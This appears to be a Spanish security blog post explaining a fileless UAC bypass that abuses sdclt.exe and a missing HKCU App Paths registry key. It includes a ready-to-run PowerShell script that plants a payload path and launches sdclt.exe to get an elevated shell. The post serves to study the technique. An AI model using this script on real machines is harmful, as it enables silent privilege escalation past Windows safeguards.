30 abril, 2020

Bypass UAC Fileless usando AppPaths sdclt.exe

Bypass UAC tipo Fileless

La idea de los bypass de UAC (User Account Control) tipo fileless es detectar binarios de Windows firmados por Microsoft y que tienen el atributo autoElevate a true de su manifest. Con una política por defecto de UAC en Windows, estos binarios se ejecutan en un contexto de integridad alto, interactuando con el registro no encuentran las claves en la rama HKCU. Cuando en la consulta se obtiene un resultado NAME NOT FOUND y esta se hace antes de que se ejecute el propio binario, se podría escribir en esa rama HKCU en la que si tendremos permisos haciendo referencia a la invocación de otro binario como por ejemplo un cmd.exe. Esto provocará que este cmd.exe se ejecute antes y de forma privilegiada logrando así el bypass del UAC. 

Para comprobar el manifest de un binario podemos usar la herramienta de sigcheck de Sysinternals con su parámetro -m seguido del binario que se le indique.

Figura 1: Comprobar atributo autoElevate en el manifest de un binario con sigcheck.

Existen multitud de binarios con el atributo autoElevate a true y que usan consultas en el registro para poder ejecutarse. La primera técnica fue descubierta Enigma0x3 con el binario eventvwr.exe (visor de eventos de Windows) publicada en 2016. El mismo autor en 2017 publicó el mismo dos bypass fileless nuevos que afectan a los binarios sdclt.exe (panel de control de copias de seguridad y restauración) y fodhelper.exe (instalación de características avanzadas).

Como ejemplo este artículo se enfoca al bypass UAC fileless que afecta al binario sdclt.exe. Enigma0x3 ha subido a su repositorio un script en Powershell para aprovechar la explotación de esta vulnerabilidad.

Con procmon de Sysinternals podemos monitorear la ejecución de procesos en el sistema. Esto nos permite analizar el seguimiento de ejecución de un binario que filtremos y enfocarnos en un tipo de operación que realiza en el registro.

En el caso de sdclt.exe vemos que realiza consultas en la existencia de claves del registro en la rama HKCU intentando encontrar un binario control.exe en el path:
HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe
Como no lo encuentra se obtiene un valor NAME NOT FOUND y continua su ejecución comprobando en más ramas hasta invocar al control.exe que como parámetro abrirá al sdclt.exe. Esto significa que si creamos esa rama y en su valor 'Default' agregamos la ejecución de una cmd.exe podremos invocarla de forma privilegiada ya que como se ve en procmon esta consulta al registro se realiza en un contexto de integridad alto.

Figura 2: Rama del registro NAME NOT FOUND en la ejecución del binario sdclt.exe

Sabiendo esto podemos crear la estructura de ramas adecuada e invocar en la valor por defecto una cmd.exe. Esta se ejecutará el mismo contexto es decir, de forma privilegiada. Dejo un pequeño script que ejecuta una función para poder crear la estructura de ramas de forma automática. Pasando como parámetro -Payload el ruta absoluta "C:\Windows\System32\cmd.exe"
function AppPathSdcltBypass {
Param (
    [Parameter(Mandatory)]
    $Payload
)
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
if (-not (Test-Path $path)) {
    New-Item -Path $path -Force
    New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $Payload -Force | Out-Null
}
else {
    Write-Host "La ruta ya existe"
    break
}
Start-Process "C:\Windows\system32\sdclt.exe"
}

AppPathSdcltBypass -Payload "C:\Windows\System32\cmd.exe"
Cuando se inicie la cmd podemos comprobar con whoami /groups que efectivamente se ejecuta de forma privilegiada.

Figura 3: Comprobar el contexto de integridad cmd.exe (whoami /groups).

Un detalle a tener en cuenta, a diferencia de otros bypass de UAC como eventvwr.exe, este fileless no permite la entrada de parámetros tipo "cmd.exe /c <intrucciones>", limitando y dificultando su aprovechamiento para una ejecución de ordenes de forma remota.

En la siguiente captura se puede ver la prueba de concepto de la ejecución y como se realiza este bypass de UAC fileless de sdclt.exe. Por defecto y aunque el usuario pertenezca al grupo administradores sino ejecutó como administrador una cmd (botón derecho "ejecutar como administrador") no podría escribir en C:\.

Figura 4: PoC - Bypass UAC Fileless sdclt.exe.

Saludos!

No hay comentarios:

Publicar un comentario